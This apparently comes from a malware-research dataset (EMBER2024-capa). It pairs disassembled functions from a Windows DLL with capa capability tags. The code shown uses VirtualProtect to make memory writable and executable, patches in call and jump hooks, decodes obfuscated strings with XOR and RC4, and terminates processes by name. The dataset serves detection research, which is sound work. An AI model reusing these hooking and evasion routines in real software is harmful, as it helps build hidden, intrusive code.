joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10006850
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd0
mov eax, dword [0x1008600c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
test esi, esi
je 0x100068d1
push edi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 0xd0]
push eax
push 0x40
push 4
push esi
call edi
mov eax, dword [esi]
push 0
push dword [ebp - 0xd0]
mov dword [ebp - 0xcc], eax
push 4
push esi
call edi
xor eax, eax
nop word [eax + eax]
xor byte [ebp + eax - 0xcc], al
inc eax
cmp eax, 4
jb 0x100068a0
lea eax, [ebp - 0xd0]
push eax
push 0x40
push 4
push esi
call edi
mov eax, dword [ebp - 0xcc]
push 0
push dword [ebp - 0xd0]
mov dword [esi], eax
push 4
push esi
call edi
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.1005c8e9
mov esp, ebp
pop ebp
ret 4

Function at 0x100068f0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xcc
mov eax, dword [0x1008600c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
test eax, eax
je 0x10006937
mov eax, dword [eax]
mov dword [ebp - 0xcc], eax
xor eax, eax
xor byte [ebp + eax - 0xcc], al
inc eax
cmp eax, 4
jb 0x10006914
mov eax, dword [ebp - 0xcc]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1005c8e9
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
call fcn.1005c8e9
mov esp, ebp
pop ebp
ret 4

Function at 0x10006950
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1005e0cd
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
push esi
mov eax, dword [0x1008600c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], ecx
cmp dword [0x1008653c], 0x10
mov eax, 0x10086528
cmovae eax, dword [0x10086528]
cmp byte [eax], 0
je 0x10006a6a
mov ecx, dword [ebp + 8]
cmp byte [ecx], 0
je 0x10006a6a
cmp dword [0x100861ac], 0x10
mov eax, 0x10086198
cmovae eax, dword [0x10086198]
cmp byte [eax], 0
je 0x10006a6a
mov esi, 0x1008c158
mov edx, ecx
sub esi, ecx
mov al, byte [edx]
lea edx, [edx + 1]
mov byte [esi + edx - 1], al
test al, al
jne 0x100069c6
mov edx, 0x10088930
sub edx, ecx
nop word [eax + eax]
mov al, byte [ecx]
lea ecx, [ecx + 1]
mov byte [edx + ecx - 1], al
test al, al
jne 0x100069e0
mov ecx, dword [0x1008c9e4]
mov edx, 0x10086528
cmp dword [0x1008653c], 0x10
push 0x1008c158
cmovae edx, dword [0x10086528]
mov eax, dword [ecx]
push edx
call dword [eax + 8]
test eax, eax
jne 0x10006a6a
mov ecx, 0x98
xor edx, edx
nop dword [eax]
mov al, byte [edx + 0x100788dc]
xor al, cl
inc ecx
mov byte [ebp + edx - 0x28], al
and ecx, 0x800000ff
jns 0x10006a3d
dec ecx
or ecx, 0xffffff00
inc ecx
inc edx
cmp edx, 0x14
jl 0x10006a20
mov byte [ebp - 0x14], 0
mov ecx, dword [ebp - 0x10]
mov dword [ebp - 4], 0
mov eax, dword [0x1008815c]
mov esi, dword [eax]
mov eax, dword [ecx]
call dword [eax + 0x4c]
mov ecx, dword [0x1008815c]
push eax
lea eax, [ebp - 0x28]
push eax
call dword [esi]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x10006a80
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1005e0fd
mov eax, dword fs:[0]
push eax
push esi
push edi
mov eax, dword [0x1008600c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 4], 0
lea esi, [ebp + 8]
cmp dword [ebp + 0x1c], 0x10
cmovae esi, dword [ebp + 8]
lea ecx, [esi + 1]
nop dword [eax]
mov al, byte [esi]
inc esi
test al, al
jne 0x10006ac0
sub esi, ecx
push esi
call fcn.1005d21e
add esp, 4
xor edx, edx
mov edi, eax
test esi, esi
js 0x10006aeb
nop word [eax + eax]
xor byte [edx + edi], dl
lea ecx, [edx + edi]
inc edx
cmp edx, esi
jle 0x10006ae0
mov edx, dword [ebp + 0x1c]
cmp edx, 0x10
jb 0x10006b21
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10006b17
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x10006b17
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.1005d210
add esp, 8
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 0x18

Function at 0x10007f00
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x1008600c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, dword [ebp + 0xc]
xor esi, esi
test edi, edi
js 0x10007f37
nop
lea eax, [ebp - 8]
push eax
push 0x40
push 4
lea eax, [ebx + esi]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
inc esi
cmp esi, edi
jle 0x10007f20
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1005c8e9
mov esp, ebp
pop ebp
ret 8

Function at 0x10008240
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x1008600c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push edi
mov edi, dword [ebp + 8]
lea eax, [ebp - 8]
push eax
push 0x40
push 4
mov ebx, dword [edi]
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, dword [ebp + 0xc]
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 8]
mov dword [edi], ecx
push 4
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, dword [ebp - 4]
mov eax, ebx
pop edi
xor ecx, ebp
pop ebx
call fcn.1005c8e9
mov esp, ebp
pop ebp
ret 8
Function at 0x10008290
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x1007fff8
push 0x1005cb79
mov eax, dword fs:[0]
push eax
sub esp, 0x18
mov eax, dword [0x1008600c]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x1c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
mov esi, dword [ebp + 8]
mov dword [ebp - 4], 0
lea eax, [ebp - 0x20]
push eax
push 0x40
mov edi, dword [ebp + 0x10]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [ebp + 0xc]
sub eax, esi
sub eax, 5
mov byte [esi], 0xe8
mov dword [esi + 1], eax
mov eax, 5
mov dword [ebp - 0x28], eax
cmp eax, edi
jae 0x10008302
mov byte [esi + eax], 0x90
inc eax
jmp 0x100082f4
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 0x20]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
jmp 0x1000831c
mov dword [ebp - 4], 0xfffffffe
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.1005c8e9
mov esp, ebp
pop ebp
ret 0xc
Function at 0x10012ed0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x1008600c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, ecx
mov eax, edx
mov dword [ebp - 0xc], eax
cmp ebx, 0x1000
jbe 0x10012f27
test eax, eax
je 0x10012f27
push edi
mov edi, dword [ebp + 8]
test edi, edi
je 0x10012f26
lea eax, [ebp - 8]
push eax
push 0x40
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push edi
push dword [ebp - 0xc]
push ebx
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.1005c8e9
mov esp, ebp
pop ebp
ret

Function at 0x10012f40
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x1008600c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push edi
mov edi, dword [0x1008d768]
mov ebx, edx
cmp edi, 0x1000
jbe 0x10012f89
test ebx, ebx
je 0x10012f89
lea eax, [ebp - 8]
push eax
push 0x40
push 1
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov al, byte [ebx]
mov byte [edi], al
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push 1
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop ebx
call fcn.1005c8e9
mov esp, ebp
pop ebp
ret

Function at 0x10013130
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x1008600c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
cmp ebx, 0x1000
jbe 0x1001318e
test edi, edi
je 0x1001318e
push esi
push edi
call fcn.1005d21e
add esp, 4
mov esi, eax
lea eax, [ebp - 8]
push eax
push 0x40
push edi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push edi
push ebx
push esi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
mov eax, esi
pop esi
pop edi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1005c8e9
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
xor ecx, ebp
pop ebx
call fcn.1005c8e9
mov esp, ebp
pop ebp
ret 8

Function at 0x100131b0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x1008600c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
push edi
call fcn.1005d21e
add esp, 4
mov ebx, eax
lea eax, [ebp - 8]
mov dword [ebp - 0xc], ebx
push eax
push 0x40
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test edi, edi
jle 0x1001321e
sub ebx, esi
nop dword [eax + eax]
push 4
push esi
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x10013202
mov al, byte [esi]
mov byte [ebx + esi], al
inc esi
sub edi, 1
jne 0x100131f0
mov eax, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1005c8e9
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [ebp - 4]
mov eax, ebx
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1005c8e9
mov esp, ebp
pop ebp
ret 8
Function at 0x10013240
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x1008600c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 0xc]
push edi
push esi
call fcn.1005d21e
add esp, 4
mov ebx, eax
lea eax, [ebp - 0xc]
mov dword [ebp - 0x30], ebx
push eax
push 0x40
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, dword [ebp + 8]
mov edi, ebx
lea eax, [esi + ecx]
mov dword [ebp - 0x2c], eax
nop dword [eax]
push 0x1c
lea eax, [ebp - 0x28]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
mov esi, dword [ebp - 0x1c]
mov ebx, dword [ebp - 0x28]
cmp edi, 0x1000
jbe 0x100132d1
test ebx, ebx
je 0x100132d1
test esi, esi
je 0x100132d1
lea eax, [ebp - 8]
push eax
push 0x40
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push esi
push ebx
push edi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov esi, dword [ebp - 0x1c]
mov ebx, dword [ebp - 0x28]
lea ecx, [ebx + esi]
add edi, esi
cmp ecx, dword [ebp - 0x2c]
jb 0x10013280
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x30]
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.1005c8e9
mov esp, ebp
pop ebp
ret 8

Function at 0x10013300
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x1008600c]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
mov edi, dword [ebp + 8]
cmp edi, 0x1000
jbe 0x1001333e
lea eax, [ebp - 8]
push eax
push 0x40
push 1
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 8]
mov byte [edi], 0xcc
push eax
push dword [ebp - 8]
push 1
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop edi
call fcn.1005c8e9
mov esp, ebp
pop ebp
ret 4
Function at 0x10013350
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x134
mov eax, dword [0x1008600c]
xor eax, esp
mov dword [esp + 0x130], eax
push ebx
push esi
push edi
push 0
mov esi, ecx
push 0xf
mov dword [esp + 0x14], esi
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
mov dword [esp + 0x10], 0x128
lea eax, [esp + 0x10]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32First]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x10013402
nop dword [eax]
mov eax, esi
lea ecx, [esp + 0x34]
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x100133c6
test dl, dl
je 0x100133c2
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x100133c6
add ecx, 2
add eax, 2
test dl, dl
jne 0x100133a6
xor eax, eax
jmp 0x100133cb
sbb eax, eax
or eax, 1
test eax, eax
jne 0x100133f2
push dword [esp + 0x18]
push eax
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x100133ee
push 9
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call ebx
mov esi, dword [esp + 0xc]
lea eax, [esp + 0x10]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x100133a0
push edi
call ebx
mov ecx, dword [esp + 0x13c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.1005c8e9
mov esp, ebp
pop ebp
ret

Function at 0x10013420
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x10080628
push 0x1005cb79
mov eax, dword fs:[0]
push eax
sub esp, 0x18
mov eax, dword [0x1008600c]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x1c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
mov edi, edx
mov esi, ecx
mov dword [ebp - 4], 0
cmp esi, 0x1000
jbe 0x100134ba
cmp edi, 0x1000
jbe 0x100134ba
lea eax, [ebp - 0x20]
push eax
push 0x40
push 5
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub edi, esi
sub edi, 5
mov byte [esi], 0xe9
mov dword [esi + 1], edi
mov eax, 5
mov dword [ebp - 0x28], eax
cmp eax, 5
jae 0x1001349f
mov byte [esi + eax], 0x90
inc eax
jmp 0x10013490
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 0x20]
push 5
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
jmp 0x100134ba
mov dword [ebp - 4], 0xfffffffe
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.1005c8e9
mov esp, ebp
pop ebp
ret
Function at 0x100134e0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x10080648
push 0x1005cb79
mov eax, dword fs:[0]
push eax
sub esp, 0x28
mov eax, dword [0x1008600c]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x1c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
mov ebx, edx
mov edi, ecx
mov dword [ebp - 4], 0
cmp edi, 0x1000
jbe 0x100135ae
cmp ebx, 0x1000
jbe 0x100135ae
lea eax, [ebp - 0x20]
push eax
push 0x40
push 5
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 0x14
call fcn.1005d21e
add esp, 4
mov esi, eax
mov dword [ebp - 0x2c], esi
lea eax, [ebp - 0x24]
push eax
push 0x40
push 0x14
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [esi], ebx
xor ecx, ecx
mov dword [ebp - 0x30], ecx
cmp ecx, 3
jg 0x10013579
mov al, byte [ebp + ecx - 0x2c]
mov byte [ebp + ecx - 0x34], al
inc ecx
jmp 0x10013566
mov word [edi], 0x15ff
xor ecx, ecx
mov dword [ebp - 0x38], ecx
cmp ecx, 3
ja 0x10013593
mov al, byte [ebp + ecx - 0x34]
mov byte [edi + ecx + 2], al
inc ecx
jmp 0x10013580
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 0x20]
push 5
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
jmp 0x100135ae
mov dword [ebp - 4], 0xfffffffe
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.1005c8e9
mov esp, ebp
pop ebp
ret

Function at 0x100135e0
Capabilities:
Contain obfuscated stackstrings
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov edx, 0xa7
xor eax, eax
nop dword [eax]
mov cl, byte [eax + 0x100797dc]
xor cl, dl
inc edx
mov byte [ebp + eax - 0x2c], cl
and edx, 0x800000ff
jns 0x1001360d
dec edx
or edx, 0xffffff00
inc edx
inc eax
cmp eax, 0x1e
jl 0x100135f0
lea eax, [ebp - 0x2c]
mov byte [ebp - 0xe], 0
push eax
lea eax, [ebp - 0xc]
mov dword [ebp - 0xc], 0x6c64746e
push eax
mov dword [ebp - 8], 0x6c642e6c
mov word [ebp - 4], 0x6c
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
xorps xmm0, xmm0
mov word [ebp - 4], 0
push 0x1004eb70
push 1
movq qword [ebp - 0xc], xmm0
movups xmmword [ebp - 0x2c], xmm0
mov dword [ebp - 0x14], 0
movq qword [ebp - 0x1c], xmm0
mov word [ebp - 0x10], 0
mov byte [ebp - 0xe], 0
call eax
add esp, 8
mov esp, ebp
pop ebp
ret
Function at 0x10013680
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x10080668
push 0x1005cb79
mov eax, dword fs:[0]
push eax
sub esp, 0x18
mov eax, dword [0x1008600c]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x1c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
mov edi, edx
mov esi, ecx
mov dword [ebp - 4], 0
cmp esi, 0x1000
jbe 0x1001371a
cmp edi, 0x1000
jbe 0x1001371a
lea eax, [ebp - 0x20]
push eax
push 0x40
push 5
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub edi, esi
sub edi, 5
mov byte [esi], 0xe8
mov dword [esi + 1], edi
mov eax, 5
mov dword [ebp - 0x28], eax
cmp eax, 5
jae 0x100136ff
mov byte [esi + eax], 0x90
inc eax
jmp 0x100136f0
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 0x20]
push 5
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
jmp 0x1001371a
mov dword [ebp - 4], 0xfffffffe
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.1005c8e9
mov esp, ebp
pop ebp
ret

Function at 0x10013740
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x1008600c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, ecx
mov dword [ebp - 0xc], eax
push ebx
mov ebx, edx
cmp eax, 0x1000
jbe 0x100137ae
push esi
push edi
lea esi, [ebx + 5]
push esi
call fcn.1005d21e
add esp, 4
mov edi, eax
lea eax, [ebp - 8]
push eax
push 0x40
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov esi, dword [ebp - 0xc]
push ebx
push esi
push edi
call sub.VCRUNTIME140.dll_memcpy
lea ecx, [ebx + edi]
add esp, 0xc
lea eax, [esi - 5]
mov byte [ecx], 0xe9
sub ebx, ecx
add eax, ebx
mov dword [ecx + 1], eax
mov eax, edi
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1005c8e9
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
pop ebx
call fcn.1005c8e9
mov esp, ebp
pop ebp
ret
Function at 0x100137c0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1005fa51
mov eax, dword fs:[0]
push eax
sub esp, 0x34
mov eax, dword [0x1008600c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, edx
mov eax, dword [ebp + 8]
mov dword [ebp - 0x40], eax
mov eax, dword [0x1008f8b4]
test eax, eax
jne 0x1001396d
mov eax, dword fs:[0x2c]
mov ecx, dword [0x10086f0c]
movaps xmm0, xmmword [0x1007aa40]
movups xmmword [ebp - 0x3c], xmm0
mov dword [ebp - 0x2c], 0x8cc84bcf
mov esi, dword [eax + ecx*4]
mov word [ebp - 0x28], 0x9ace
mov byte [ebp - 0x26], 0xad
mov eax, dword [esi + 0x1454]
test al, 1
jne 0x1001388c
or eax, 1
mov dword [esi + 0x1454], eax
mov dword [ebp - 4], 0
xorps xmm0, xmm0
movlpd qword [ebp - 0x24], xmm0
mov edx, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x24]
mov byte [esi + 0x3423], 1
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x3c]
mov byte [ecx + esi + 0x340c], al
add ecx, 1
adc edx, 0
jne 0x10013878
cmp ecx, 0x17
jb 0x10013860
push 0x1006c420
call fcn.1005d2c7
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea edi, [esi + 0x340c]
mov ecx, edi
call fcn.10057980
mov eax, dword [esi + 0x1dc]
mov dword [ebp - 0x1c], 0x80c14bce
mov dword [ebp - 0x18], 0xbb83b5cc
mov word [ebp - 0x14], 0x55d7
mov byte [ebp - 0x12], 0xad
test al, 1
jne 0x1001390c
or eax, 1
mov dword [esi + 0x1dc], eax
mov dword [ebp - 4], 1
xorps xmm0, xmm0
movlpd qword [ebp - 0x24], xmm0
mov edx, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x24]
mov byte [esi + 0x39bf], 1
mov al, byte [ebp + ecx - 0x1c]
mov byte [ecx + esi + 0x39b4], al
add ecx, 1
adc edx, 0
jne 0x100138f8
cmp ecx, 0xb
jb 0x100138e0
push 0x1006c470
call fcn.1005d2c7
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea esi, [esi + 0x39b4]
mov ecx, esi
call fcn.100579e0
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
cmp edi, 0x1000
jbe 0x10013966
push 7
call fcn.1005d21e
add esp, 4
mov esi, eax
lea eax, [ebp - 0x20]
push eax
push 0x40
push 7
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov cx, word [edi]
lea eax, [esi + 2]
sub edi, eax
mov word [esi], cx
sub edi, 3
mov byte [eax], 0xe9
mov dword [eax + 1], edi
add eax, 0xfffffffe
jmp 0x10013968
xor eax, eax
mov dword [0x1008f8b4], eax
push 0
push 0
push dword [ebp - 0x40]
mov dword [0x1008d6e4], eax
push ebx
push 0
call eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1005c8e9
mov esp, ebp
pop ebp
ret
Function at 0x100139a0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1005fae1
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
mov eax, dword [0x1008600c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov eax, dword [0x1008f874]
test eax, eax
jne 0x10013b4d
mov eax, dword fs:[0x2c]
mov ecx, dword [0x10086f0c]
mov dword [ebp - 0x20], 0xa68de920
mov dword [ebp - 0x1c], 0x41ee8d7d
mov dword [ebp - 0x18], 0xad9cf726
mov esi, dword [eax + ecx*4]
mov word [ebp - 0x14], 0xe34e
mov eax, dword [esi + 0x9f4]
test al, 1
jne 0x10013a6c
or eax, 1
mov dword [esi + 0x9f4], eax
mov dword [ebp - 4], 0
xorps xmm0, xmm0
movlpd qword [ebp - 0x28], xmm0
mov edx, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x28]
mov byte [esi + 0xa16], 1
nop dword [eax]
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x20]
mov byte [ecx + esi + 0xa08], al
add ecx, 1
adc edx, 0
jne 0x10013a58
cmp ecx, 0xe
jb 0x10013a40
push 0x1006c4c0
call fcn.1005d2c7
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea edi, [esi + 0xa08]
mov ecx, edi
call fcn.100578c0
mov eax, dword [esi + 0x2720]
mov dword [ebp - 0x20], 0x8ab7ce3e
mov dword [ebp - 0x1c], 0x1bdfa641
mov dword [ebp - 0x18], 0xc395eb0d
test al, 1
jne 0x10013aec
or eax, 1
mov dword [esi + 0x2720], eax
mov dword [ebp - 4], 1
xorps xmm0, xmm0
movlpd qword [ebp - 0x28], xmm0
mov edx, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x28]
mov byte [esi + 0x13bc], 1
nop dword [eax]
mov al, byte [ebp + ecx - 0x20]
mov byte [ecx + esi + 0x13b0], al
add ecx, 1
adc edx, 0
jne 0x10013ad8
cmp ecx, 0xc
jb 0x10013ac0
push 0x1006c510
call fcn.1005d2c7
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea esi, [esi + 0x13b0]
mov ecx, esi
call fcn.10057920
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
cmp edi, 0x1000
jbe 0x10013b46
push 7
call fcn.1005d21e
add esp, 4
mov esi, eax
lea eax, [ebp - 0x24]
push eax
push 0x40
push 7
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov cx, word [edi]
lea eax, [esi + 2]
sub edi, eax
mov word [esi], cx
sub edi, 3
mov byte [eax], 0xe9
mov dword [eax + 1], edi
add eax, 0xfffffffe
jmp 0x10013b48
xor eax, eax
mov dword [0x1008f874], eax
push 0
push 0
push 0
push 1
push ebx
mov dword [0x1008c3a4], eax
call eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1005c8e9
mov esp, ebp
pop ebp
ret